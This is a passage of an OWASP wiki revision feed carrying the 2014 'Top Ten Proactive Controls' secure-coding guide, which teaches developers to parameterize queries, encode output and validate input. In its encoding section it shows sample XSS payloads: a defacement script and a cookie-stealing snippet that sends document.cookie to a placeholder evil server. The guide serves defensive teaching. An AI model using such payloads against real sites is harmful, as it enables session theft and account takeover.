Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the [http://msdn.microsoft.com/en-us/library/system.web.security.antixss.antixssencoder%28v=vs.110%29.aspx AntiXssEncoder Class] provides CSS, HTML, URL, JavaScriptString and XML encoders - these encoders and other encoders for LDAP and VBScript are included in the open source AntiXSS library).&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] is a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application: where to add sensors or [https://www.owasp.org/index.php/AppSensor_DetectionPoints detection points] and what [https://www.owasp.org/index.php/AppSensor_ResponseActions response actions] to take when an exception is encountered in your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of July: Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176675</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176675"/>
				<updated>2014-06-09T16:04:36Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
